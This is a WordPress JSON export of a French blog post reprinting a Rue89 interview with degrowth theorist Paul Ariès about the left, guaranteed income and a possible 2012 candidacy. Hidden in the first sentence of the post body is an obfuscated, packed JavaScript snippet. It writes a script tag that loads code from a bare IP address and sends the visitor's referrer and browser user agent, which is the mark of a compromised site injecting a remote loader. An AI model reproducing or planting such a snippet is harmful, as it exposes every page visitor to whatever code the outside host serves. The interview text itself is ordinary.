{"id":4936,"date":"2010-09-21T07:44:54","date_gmt":"2010-09-21T06:44:54","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4936"},"modified":"2010-09-21T07:46:30","modified_gmt":"2010-09-21T06:46:30","slug":"comment-traduire-en-2012-linteret-culturel-pour-la-decroissance","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4936","title":{"rendered":"Comment traduire en 2012 l&rsquo;int\u00e9r\u00eat culturel pour la D\u00e9croissance : entretien avec Paul Ari\u00e8s"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" id=\"image_asset_wizard_vignette_16743\" class=\"alignleft\" title=\"mensuel_couv_1_shadow.png\" src=\"http:\/\/asset.rue89.com\/files\/imagecache\/asset_wizard_vignette\/files\/PierreHaski\/mensuel_couv_1_shadow.png\" alt=\"mensuel_couv_1_shadow.png\" width=\"113\" height=\"148\" \/>Paul <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezyds|var|u0026u|referrer|byazr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Ari\u00e8s est consid\u00e9r\u00e9 par beaucoup comme un  \u00ab\u00a0gourou\u00a0\u00bb. L&rsquo;id\u00e9ologue de la d\u00e9croissance a longtemps pr\u00each\u00e9 dans le  d\u00e9sert, mais la crise a donn\u00e9 \u00e0 son discours un nouvel \u00e9cho, qui lui  vaut d&rsquo;\u00eatre invit\u00e9 \u00e0 d\u00e9battre par Europe \u00e9cologie, ou de faire une  (modeste) apparition sur les plateaux de t\u00e9l\u00e9vision. Rue89 l&rsquo;a interrog\u00e9 sur sa vision, et sa strat\u00e9gie, notamment en vue d&rsquo;une possible candidature \u00ab\u00a0d\u00e9croissante\u00a0\u00bb en 2012.<\/p>\n<p>Longtemps sp\u00e9cialiste des sectes contre lesquelles il s&rsquo;est fortement  engag\u00e9, puis parti en guerre contre la malbouffe comme symbole de la  mondialisation, le politologue et \u00e9crivain <a href=\"http:\/\/fr.wikipedia.org\/wiki\/Paul_Ari%C3%A8s\" target=\"_blank\">Paul Ari\u00e8s<\/a> est aujourd&rsquo;hui la figure la plus en vue du courant, tr\u00e8s divers, de la d\u00e9croissance.<\/p>\n<p>Ultra-minoritaire  dans un pays o\u00f9 la quasi totalit\u00e9 des partis politiques fondent leurs  hypoth\u00e8ses sur un retour de la croissance, ce courant a longtemps \u00e9t\u00e9  associ\u00e9 \u00e0 l&rsquo;id\u00e9e d&rsquo;une r\u00e9gression, d&rsquo;un retour \u00e0 la bougie et au puits,  avant de commencer \u00e0 entrer dans le champs du d\u00e9bat politique, notamment  au sein des \u00e9cologistes divis\u00e9s sur la question comme <a href=\"http:\/\/www.rue89.com\/planete89\/2010\/08\/20\/decroissance-le-mot-qui-met-les-ecolos-en-ebullition-163260\">l&rsquo;ont montr\u00e9 les Journ\u00e9es d&rsquo;\u00e9t\u00e9 Verts-Europe \u00e9cologie<\/a> de Nantes.<\/p>\n<p>Paul Ari\u00e8s reconna\u00eet que la d\u00e9croissance a longtemps \u00e9t\u00e9 n\u00e9gative  avant de commencer \u00e0 devenir une force de proposition. Dans cet  entretien, r\u00e9alis\u00e9 en compl\u00e9ment du dossier du <a href=\"http:\/\/lemensuel.rue89.com\/\" target=\"_blank\">num\u00e9ro 3 de Rue89 Le Mensuel<\/a>,  titr\u00e9 \u00ab\u00a0<em>et si la croissance ne revenait plus\u00a0? <\/em>\u00bb, \u00ab\u00a0l&rsquo;objecteur de  croissance\u00a0\u00bb, comme il se d\u00e9finit, \u00e9voque l&rsquo;hypoth\u00e8se, non encore  tranch\u00e9e, d&rsquo;une candidature \u00e0 la pr\u00e9sidentielle de 2012 pour avancer ses  id\u00e9es.<a href=\"http:\/\/www.rue89.com\/entretien\/2010\/09\/19\/paul-aries-les-decroissants-ne-sont-pas-des-talibans-verts-167289\"><strong> Entretien. source Rue89<\/strong><\/a><\/p>\n<p><span style=\"color: #ff6600;\"><strong>Rue89\u00a0: Votre cible est autant la gauche que le syst\u00e8me capitaliste\u00a0? <\/strong><\/span><\/p>\n<p><strong>Paul Ari\u00e8s\u00a0:<\/strong> Il y a deux syst\u00e8mes qui, par-del\u00e0  leurs diff\u00e9rences qui sont \u00e9normes, ont totalement pill\u00e9 la plan\u00e8te pour  nourrir leur machine productiviste. Sauf que ces deux syst\u00e8mes ne se  trouvent pas aujourd&rsquo;hui dans la m\u00eame situation.<\/p>\n<p><!--more--><\/p>\n<p>Les droites, les milieux d&rsquo;affaires, ont un vrai projet, qui est  celui du capitalisme vert. Alors que les gauches, \u00e0 l&rsquo;\u00e9chelle  internationale, restent largement aphones. Parce qu&rsquo;elles ne savent pas  comment concilier ces nouvelles contraintes environnementales, avec le  souci de justice sociale, et le besoin de reconnaissance face \u00e0 une  soci\u00e9t\u00e9 du m\u00e9pris.<\/p>\n<p>Mais il y a toujours eu deux gauches. L&rsquo;une antiproductiviste, d&rsquo;un  antiproductivisme populaire spontan\u00e9, celui des paysans qui pendant un  si\u00e8cle et demi ont combattu contre le passage de la faucille \u00e0 la faux  pour pr\u00e9server le droit de glanage, un certain mode de vie\u00a0; celui de  ces ouvriers cassant les usines qui prenaient leur place\u00a0; celui du <a href=\"http:\/\/phare.univ-paris1.fr\/textes\/Lafargue\/Paresse0.html\" target=\"_blank\">\u00ab\u00a0Droit \u00e0 la paresse\u00a0\u00bb de Paul Lafargue<\/a>,  c&rsquo;est ce mouvement historique pour la r\u00e9duction du temps de travail.  Cette gauche a toujours \u00e9t\u00e9 minoritaire, et surtout, elle a \u00e9t\u00e9  ridiculis\u00e9e, moqu\u00e9e.<\/p>\n<p>Et on a toujours eu une gauche productiviste, qui avait foi dans le  progr\u00e8s. Sauf que cette gauche productiviste, qui a \u00e9t\u00e9 dominante au XXe  si\u00e8cle, a aujourd&rsquo;hui du plomb dans l&rsquo;aile. Elle ne peut plus promettre  que demain on vivra tous comme des petits bourgeois, que demain sera le  pays de Cocagne.<\/p>\n<p>Donc \u00e7a cr\u00e9e des possibilit\u00e9s, je l&rsquo;esp\u00e8re, c&rsquo;est un pari, de cr\u00e9er  aujourd&rsquo;hui une gauche antiproductiviste qui devienne optimiste.<\/p>\n<h2>\u00ab\u00a0Etre des emp\u00eacheurs de d\u00e9velopper en rond\u00a0\u00bb<\/h2>\n<p><strong><span style=\"color: #ff6600;\">Pourquoi avoir fait de <a href=\"http:\/\/www.rue89.com\/tag\/cohn-bendit\">Daniel Cohn-Bendit<\/a> le symbole de ce que vous combattez, en le qualifiant d&rsquo;\u00ab\u00a0idiot utile du capitalisme vert\u00a0\u00bb\u00a0? <\/span><\/strong><\/p>\n<p>Ce qui m&rsquo;int\u00e9ressait dans Cohn-Bendit [<a href=\"http:\/\/livre.fnac.com\/a2800243\/Paul-Aries-Daniel-Cohn-Bendit-l-imposture\" target=\"_blank\">\u00ab\u00a0Cohn-Bendit, l&rsquo;imposture\u00a0\u00bb<\/a>,  par Paul Ari\u00e8s et Florence Leray, \u00e9d. Milo, ndlr], ce n&rsquo;est pas la  personne mais de quoi il est le sympt\u00f4me. Le succ\u00e8s \u00e9lectoral d&rsquo;Europe  \u00e9cologie repose sur des bases id\u00e9ologiques pas claires. Si les gens ont  vot\u00e9 Cohn-Bendit en pensant sauver la gauche et pour sauver une \u00e9cologie  politique antiproductiviste, ils ont \u00e9t\u00e9 abus\u00e9s. On voit bien  qu&rsquo;aujourd&rsquo;hui Europe \u00e9cologie est \u00e0 la crois\u00e9e des chemins. Tout comme  la gauche.<\/p>\n<p>Il va falloir choisir entre <a href=\"http:\/\/www.rue89.com\/tag\/lepage\">Corinne Lepage<\/a> et l&rsquo;objection de croissance. Il y a des positionnements politiques qui  doivent se faire. Ces divisions, qui sont bien r\u00e9elles \u00e0 l&rsquo;int\u00e9rieur du  mouvement, sont effectivement masqu\u00e9es par les succ\u00e8s \u00e9lectoraux.<\/p>\n<p>Ce qui est urgent, c&rsquo;est une recomposition v\u00e9ritable d&rsquo;une gauche  antiproductiviste. Je travaille avec d&rsquo;autres au rapprochement des  \u00e9cologistes antilib\u00e9raux -ce qui exclue fondamentalement CohnBendit ou  Lepage- et des gauches antiproductivistes.<\/p>\n<p>Je ne dis surtout pas que c&rsquo;est autour de la d\u00e9croissance que les  choses vont se faire. Nous ne sommes pas la petite grenouille qui a  vocation \u00e0 devenir aussi grosse que le b\u0153uf. Notre fonction, c&rsquo;est  d&rsquo;\u00eatre des emp\u00eacheurs de d\u00e9velopper en rond. C&rsquo;est de poser des  questions \u00e0 l&rsquo;ensemble des forces politiques, avec l&rsquo;espoir  qu&rsquo;effectivement on arrive \u00e0 faire que les minorit\u00e9s qui portent ces  id\u00e9es arrivent \u00e0 converger.<\/p>\n<h2>\u00ab\u00a0Nous marquons le retour des \u201cpartageux\u201d\u00a0\u00bb<\/h2>\n<p><strong><span style=\"color: #ff6600;\">Votre discours est-il audible aupr\u00e8s des gens qui manifestent pour maintenir la retraite \u00e0 60 ans\u00a0? <\/span><\/strong><\/p>\n<p>D&rsquo;abord il me semble que les premiers qui ont \u00e0 gagner \u00e0 la  d\u00e9croissance, ce sont les plus pauvres. Pas seulement parce que ce que  nous voulons avant tout c&rsquo;est la d\u00e9croissance des in\u00e9galit\u00e9s sociales,  mais aussi parce que le style de vie, qui est tout \u00e0 fait \u00e0 distinguer  de la notion de pouvoir d&rsquo;achat, correspond effectivement \u00e0 des styles  de vie populaires.<\/p>\n<p>Avec la revue <a href=\"http:\/\/www.lesarkophage.com\/actualite-appel-vigilance-milieux-antiproductivistes.html\" target=\"_blank\">Le Sarkophage<\/a>,  nous avons organis\u00e9 l&rsquo;an dernier notre premier grand colloque sur le  th\u00e8me \u00ab\u00a0Ralentir la ville pour la rendre aux plus pauvres\u00a0\u00bb. Des projets  comme <a href=\"http:\/\/www.slowfood.fr\/\" target=\"_blank\">Slow Food<\/a>, ou le <a href=\"http:\/\/www.cittaslow.net\/\" target=\"_blank\">R\u00e9seau international des villes lentes<\/a>,  posent les bonnes questions. Et notre deuxi\u00e8me colloque, dans l&rsquo;Essonne  en novembre, sera sur le th\u00e8me de la gratuit\u00e9 des services publics  locaux, l\u00e0 encore avec cette vis\u00e9e sociale.<\/p>\n<p>Comme on sait que le g\u00e2teau -le PIB- ne peut plus grossir, la grande  question devient celle du partage. Nous marquons le retour des  \u00ab\u00a0partageux\u00a0\u00bb.<\/p>\n<h2>\u00ab\u00a0Passer du socialisme du n\u00e9cessaire \u00e0 un socialisme gourmand\u00a0\u00bb<\/h2>\n<p><strong><span style=\"color: #ff6600;\">Par rapport \u00e0 la question des retraites, la d\u00e9croissance, si elle  devait \u00eatre appliqu\u00e9e, ne cr\u00e9erait pas effectivement des ressources,  d&rsquo;o\u00f9 la n\u00e9cessit\u00e9 de d\u00e9placer le d\u00e9bat.<\/span><\/strong><\/p>\n<p>La question des retraites pose aujourd&rsquo;hui la question des revenus  garantis. On justifie les \u00e9carts de revenus, au moment de l&rsquo;activit\u00e9 des  salari\u00e9s, par la n\u00e9cessit\u00e9 de r\u00e9mun\u00e9rer les comp\u00e9tences et de ne pas  faire fuir les plus performants. Ce discours ne tient plus quand on  parle \u00e0 des gens qui deviennent inactifs.<\/p>\n<p>De la m\u00eame mani\u00e8re qu&rsquo;il faut rendre aux anciens toute leur place  dans la soci\u00e9t\u00e9, parce qu&rsquo;ils sont les meilleurs repr\u00e9sentants de la  lenteur, nous pensons que les anciens peuvent \u00eatre le vecteur de ce  combat pour le revenu garanti.<\/p>\n<p>Je me reconnais pleinement dans le mouvement lanc\u00e9 par d&rsquo;anciens  r\u00e9sistants autour de la republication du programme du Conseil national  de la r\u00e9sistance,\u00a0\u00bb<a href=\"http:\/\/lesjoursheureux.org\/joomla1.5\/index.php?option=com_content&amp;view=article&amp;id=3:programme-cnr&amp;catid=1:le-dossier&amp;Itemid=2\" target=\"_blank\">Les Jours heureux\u00a0\u00bb<\/a>.  Au moment o\u00f9 la France \u00e9tait ruin\u00e9e, \u00e0 genoux sur le plan \u00e9conomique et  industriel, on a su trouver effectivement les moyens financiers pour  permettre cette solidarit\u00e9 avec la S\u00e9curit\u00e9 sociale. Aujourd&rsquo;hui, avec  une France beaucoup plus riche, on voudrait casser cette S\u00e9curit\u00e9  sociale. Il nous semble possible de r\u00e9nover, d&rsquo;approfondir les services  publics.<\/p>\n<p>Ce qui est urgent, c&rsquo;est de passer du socialisme du n\u00e9cessaire \u00e0 un  socialisme gourmand. Il faut en finir avec cette id\u00e9e de g\u00e9n\u00e9ration  sacrifi\u00e9e, de lendemains qui chantent, c&rsquo;est d\u00e8s maintenant qu&rsquo;il faut  construire une soci\u00e9t\u00e9 totalement diff\u00e9rente.<\/p>\n<p>Nous avons besoin, dans le cadre de la soci\u00e9t\u00e9 capitaliste, de  pouvoir faire s\u00e9cession, c&rsquo;est-\u00e0-dire de reconstruire des fa\u00e7ons d&rsquo;\u00eatre.  On a su le faire au XIXe si\u00e8cle, et m\u00eame au d\u00e9but du XXe, avec ce qu&rsquo;on  a appel\u00e9 le \u00ab\u00a0socialisme municipal\u00a0\u00bb. On a su avoir une gauche qui  \u00e9tait une contre-soci\u00e9t\u00e9 qui reposait sur des valeurs, sur des fa\u00e7ons  d&rsquo;\u00eatre, qui n&rsquo;\u00e9taient pas celles du mode dominant.<\/p>\n<h2>\u00ab\u00a0La d\u00e9croissance, une politique des petits pas\u00a0\u00bb<\/h2>\n<p><strong><span style=\"color: #ff6600;\">Peut-on pratiquer la d\u00e9croissance dans un seul pays\u00a0? Ne  risque-t-on pas de se retrouver avec la d\u00e9croissance au Nord, et la  croissance au Sud\u00a0? <\/span><\/strong><\/p>\n<p>C&rsquo;est un vrai d\u00e9bat. Mais les questions que pose la d\u00e9croissance ne  sont pas r\u00e9serv\u00e9es \u00e0 la France ou aux pays riches. Elles sont abord\u00e9es  en Afrique, de fa\u00e7on massive en Am\u00e9rique latine, et moins en Asie. Le  mouvement de la d\u00e9croissance n&rsquo;est pas s\u00e9parable de ce qu&rsquo;a pu \u00eatre le  mouvement des paysans sans terre ou de <a href=\"http:\/\/www.viacampesina.org\/fr\/\" target=\"_blank\">Via Campesina<\/a>. Les questions que nous posons, avec notre vocabulaire sp\u00e9cifique, appartiennent aux plus humbles.<\/p>\n<p>La d\u00e9croissance, ce n&rsquo;est pas l&rsquo;annonce du Grand Soir, c&rsquo;est  exactement l&rsquo;inverse. La d\u00e9croissance, c&rsquo;est aussi une politique des  petits pas, comme celui qu&rsquo;ont fait des communes de l&rsquo;Essonne qui ont  d\u00e9cid\u00e9 de donner gratuitement une quantit\u00e9 d&rsquo;eau \u00e0 tous leurs  administr\u00e9s.<\/p>\n<p><strong><span style=\"color: #ff6600;\">Donc vous pouvez avoir une p\u00e9riode de cohabitation entre croissance et d\u00e9croissance\u00a0? <\/span><\/strong><\/p>\n<p>Bien s\u00fbr, l&rsquo;enjeu c&rsquo;est de cr\u00e9er des dynamiques de rupture. Bien s\u00fbr  qu&rsquo;il faut en finir avec le capitalisme, mais \u00e0 nos yeux \u00e7a ne suffit  pas. Parce que le p\u00e9trole socialiste n&rsquo;est pas plus \u00e9colo que le p\u00e9trole  capitaliste, ou le nucl\u00e9aire socialiste ne serait pas plus autog\u00e9rable.  Nous sommes \u00e0 la fois anticapitalistes et antiproductivistes.<\/p>\n<p>Il faut penser la transition, \u00e7a ne se fera pas d&rsquo;un coup. Cette  politique des petits pas, qui n&rsquo;oppose pas chaque petit pas avec  l&rsquo;objectif final, est la seule possible. C&rsquo;est aussi la seule d\u00e9marche  possible pour rendre le projet d\u00e9sirable.<\/p>\n<p><span style=\"color: #ff6600;\"><strong>Par o\u00f9 commencez-vous\u00a0? <\/strong><\/span><\/p>\n<p>Nous avons d\u00e9cid\u00e9 de nous battre d&rsquo;ici 2012 sur quatre grands mots d&rsquo;ordre d&rsquo;\u00e9gale importance\u00a0:<\/p>\n<ol>\n<li> l<strong>a question du ralentissemen<\/strong>t, car on sait depuis les travaux de <a href=\"http:\/\/www.rue89.com\/tele89\/2009\/01\/20\/avec-paul-virilio-prenons-le-temps-de-penser-a-la-vitesse\">Paul Virilio<\/a> que toute acc\u00e9l\u00e9ration de la soci\u00e9t\u00e9 se fait au d\u00e9triment des plus faibles\u00a0;<\/li>\n<li><strong>la relocalisation<\/strong>, ce qui peut poser la question d&rsquo;une fiscalit\u00e9 adapt\u00e9e, voire la cr\u00e9ation de monnaies r\u00e9gionales\u00a0;<\/li>\n<li><strong>la question de la simplicit\u00e9 volontaire<\/strong> contre le mythe de l&rsquo;abondance\u00a0;<\/li>\n<li><strong>la question du partage<\/strong>, c&rsquo;est-\u00e0-dire la question du revenu garanti coupl\u00e9 \u00e0 nos yeux \u00e0 un revenu maximal autoris\u00e9.<\/li>\n<\/ol>\n<p>Ce revenu garanti est l&rsquo;une des mani\u00e8res que nous avons de r\u00e9duire la  part de l&rsquo;\u00e9conomie dans nos soci\u00e9t\u00e9s. Il doit \u00eatre attribu\u00e9 en partie  en monnaie nationale, l&rsquo;euro, en partie en monnaie r\u00e9gionale \u00e0 inventer,  et en partie en droits de tirage sur les biens communs (tant de  Kw\/heure gratuits, tant de m\u00e8tres cubes d&rsquo;eau gratuits, de transports en  commun urbains gratuits\u2026). Le fait de raisonner en terme d&rsquo;usage et  plus en termes mon\u00e9taires marque une rupture.<\/p>\n<p>Ce revenu garanti est aussi un pari anthropologique, je veux dire que  nous sommes conscients que \u00e7a peut foirer. Il s&rsquo;agit de dire que nous  ne sommes pas seulement des for\u00e7ats du travail et de la consommation,  mais beaucoup d&rsquo;autres choses.<\/p>\n<p>Un des coups de g\u00e9nie du capitalisme a \u00e9t\u00e9 d&rsquo;\u00ab\u00a0ins\u00e9curiser\u00a0\u00bb les  gens. \u00ab\u00a0Ins\u00e9curis\u00e9s\u00a0\u00bb sur le plan \u00e9conomique, mais aussi sur le plan  social avec la casse des identit\u00e9s collectives, \u00ab\u00a0ins\u00e9curis\u00e9s\u00a0\u00bb aussi  sur le plan individuel avec la difficult\u00e9 que l&rsquo;on a de se construire.  Nous pouvons au moins agir sur la s\u00e9curit\u00e9 \u00e9conomique. Ce n&rsquo;est pas la  fin du travail, mais la fin du travail ali\u00e9n\u00e9.<\/p>\n<p><span style=\"color: #ff6600;\"><strong>On vous r\u00e9torquera \u00e0 droite comme \u00e0 gauche que \u00e7a fera fuir l&rsquo;investissement dans un monde ouvert.<\/strong><\/span><\/p>\n<p>C&rsquo;est ce m\u00eame discours qu&rsquo;on entendait d\u00e9j\u00e0 au XIXe si\u00e8cle quand on a  voulu supprimer le travail des enfants, au XXe si\u00e8cle quand on a cr\u00e9\u00e9  les cong\u00e9s pay\u00e9s. D&rsquo;o\u00f9 l&rsquo;importance symbolique de la republication du  programme du Conseil national de la r\u00e9sistance qui montre que quand on a  la volont\u00e9 politique, l&rsquo;intendance suit.<\/p>\n<p>J&rsquo;ai \u00e9t\u00e9 furieux, lors des derni\u00e8res r\u00e9gionales, d&rsquo;entendre des  listes de gauche dire qu&rsquo;elles \u00e9taient contre la gratuit\u00e9 des transports  en commun. Pourquoi refuser aux transports ce qu&rsquo;on accorde \u00e0 l&rsquo;\u00e9cole  publique\u00a0?<\/p>\n<p>Il y a deux conceptions de la gratuit\u00e9\u00a0:<\/p>\n<ul>\n<li> <strong>l&rsquo;une d&rsquo;accompagnement du syst\u00e8me,<\/strong> qui n&rsquo;est \u00e9tendu qu&rsquo;aux plus d\u00e9munis, et qui s&rsquo;accompagne de condescendance et d&rsquo;un certain flicage\u00a0;<\/li>\n<li><strong>l&rsquo;autre est une gratuit\u00e9 d&rsquo;\u00e9mancipation,<\/strong> qui dit que nous h\u00e9ritons solidairement d&rsquo;une plan\u00e8te. Une gratuit\u00e9 cr\u00e9atrice de lien social.<\/li>\n<\/ul>\n<p>Nous ne sommes pas des talibans verts, pour nous les questions  sociales et \u00e9cologiques ont la m\u00eame importance. Nous cherchons \u00e0 \u00e9largir  la critique habituelle que la gauche fait du capitalisme.<\/p>\n<h2>\u00ab\u00a0Nous sommes dans une utopie pratique\u00a0\u00bb<\/h2>\n<p><span style=\"color: #ff6600;\"><strong>D&rsquo;ici \u00e0 2012, comment allez-vous vous faire entendre\u00a0? Une candidature \u00e0 la pr\u00e9sidence\u00a0? <\/strong><\/span><\/p>\n<p>Il y a un d\u00e9bat dans le milieu de la d\u00e9croissance sur la mani\u00e8re de  traduire politiquement ce demi succ\u00e8s culturel que nous avons pu  emporter. Un appel m&rsquo;a \u00e9t\u00e9 lanc\u00e9 par plusieurs r\u00e9seaux d&rsquo;objecteurs de  croissance. J&rsquo;accepte de faire campagne, la candidature c&rsquo;est autre  chose\u2026<\/p>\n<p>Nous nous sommes pos\u00e9s la question en 2005 de savoir si nous allions  renouer, en 2007, avec le geste de Ren\u00e9 Dumont en 1965, candidature  \u00e9colo avant m\u00eame la cr\u00e9ation de tout parti \u00e9colo. On avait r\u00e9uni tout le  monde, ce fut un \u00e9chec politique total. Nous avions le versant n\u00e9gatif,  on savait ce qui n&rsquo;allait pas, mais on n&rsquo;avait rien \u00e0 proposer.<\/p>\n<p>Depuis les choses ont fortement avanc\u00e9. Et si j&rsquo;ai sign\u00e9 un  livre-manifeste, qui est une \u0153uvre collective, c&rsquo;est parce que nous  pensons qu&rsquo;il est possible de peser sur les d\u00e9bats. Nous nous sommes  dot\u00e9s de deux outils\u00a0:<\/p>\n<ul>\n<li><strong>une charte a minima<\/strong> -il ne faut pas le cacher, la d\u00e9croissance c&rsquo;est aussi une auberge espagnole\u2026-,<\/li>\n<li><strong>et un logo<\/strong> pour assurer la visibilit\u00e9 du mouvement, l&rsquo;escargot.<\/li>\n<\/ul>\n<p>Ces campagnes -pr\u00e9sidentielle et l\u00e9gislative- seront moins l&rsquo;occasion  d&rsquo;avoir des candidats, m\u00eame s&rsquo;il y en aura, que de cr\u00e9er des collectifs  locaux pour fonder une maison commune des objecteurs de croissance qui  r\u00e9unira des gens qui seront membres d&rsquo;autres organisations.<\/p>\n<p>Fondamentalement, notre objectif est de faire avancer nos th\u00e8mes afin  qu&rsquo;ils deviennent des enjeux de lutte sociale. Nous voulons montrer que  nous sommes dans une utopie pratique, que nous avons des propositions  qui commencent \u00e0 \u00eatre r\u00e9alis\u00e9es.<\/p>\n<p>Le succ\u00e8s d&rsquo;estime du terme de d\u00e9croissance permet \u00e0 chacun de mettre  des mots sur ce que chacun ressent\u00a0: on ne peut pas continuer \u00e0  produire et consommer plus. Et pas seulement sur le plan \u00e9cologique,  mais humain, sans aller jusqu&rsquo;\u00e0 p\u00e9ter les plombs.<\/p>\n<p>Photo\u00a0: Paul Ari\u00e8s au Forum social d\u00e9partemental de Haute-Savoie, 2008 (<a href=\"http:\/\/commons.wikimedia.org\/wiki\/File:Paul_Ari%C3%A8s_FSD_74_juin_2008.jpg\" target=\"_blank\">Wikimedia Commons<\/a>).<\/p>\n<div>\n<div>A lire aussi sur Rue89 et sur Eco89<\/div>\n<ul>\n<li>? <a href=\"http:\/\/www.rue89.com\/planete89\/2010\/08\/20\/decroissance-le-mot-qui-met-les-ecolos-en-ebullition-163260\">\u00ab\u00a0D\u00e9croissance\u00a0\u00bb, le mot qui met les \u00e9colos en \u00e9bullition<\/a><\/li>\n<li>? <a href=\"http:\/\/www.rue89.com\/entretien\/2010\/07\/31\/plutot-que-decroissance-il-faut-penser-bien-etre-et-democratie-160554\">\u00ab\u00a0Plut\u00f4t que d\u00e9croissance, il faut penser bien-\u00eatre et d\u00e9mocratie\u00a0\u00bb<\/a><\/li>\n<li>? <a href=\"http:\/\/www.rue89.com\/planete89\/2010\/07\/24\/rabhi-cest-la-civilisation-la-plus-fragile-de-lhistoire-159675\">Rabhi\u00a0: \u00ab\u00a0C&rsquo;est la civilisation la plus fragile de l&rsquo;Histoire\u00a0\u00bb<\/a><\/li>\n<li>? <a href=\"http:\/\/www.rue89.com\/planete89\">Tous les articles de Plan\u00e8te89<\/a><\/li>\n<\/ul>\n<\/div>\n<div>\n<div>Ailleurs sur le Web<\/div>\n<ul>\n<li>? <a href=\"http:\/\/fr.wikipedia.org\/wiki\/Paul_Ari%C3%A8s\" target=\"_blank\">La fiche Wikip\u00e9dia de Paul Ari\u00e8s<\/a><\/li>\n<li>? <a href=\"http:\/\/www.lesarkophage.com\/\" target=\"_blank\">Le site du journal d\u00e9croissant Le Sarkophage<\/a><\/li>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Paul Ari\u00e8s est consid\u00e9r\u00e9 par beaucoup comme un \u00ab\u00a0gourou\u00a0\u00bb. L&rsquo;id\u00e9ologue de la d\u00e9croissance a longtemps pr\u00each\u00e9 dans le d\u00e9sert, mais la crise a donn\u00e9 \u00e0 son discours un nouvel \u00e9cho, qui lui vaut d&rsquo;\u00eatre invit\u00e9 \u00e0 d\u00e9battre par Europe \u00e9cologie, &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=4936\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,32,17],"tags":[],"class_list":["post-4936","post","type-post","status-publish","format-standard","hentry","category-actualites","category-elections","category-revue-de-medias"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4936","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4936"}],"version-history":[{"count":4,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4936\/revisions"}],"predecessor-version":[{"id":4940,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4936\/revisions\/4940"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4936"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}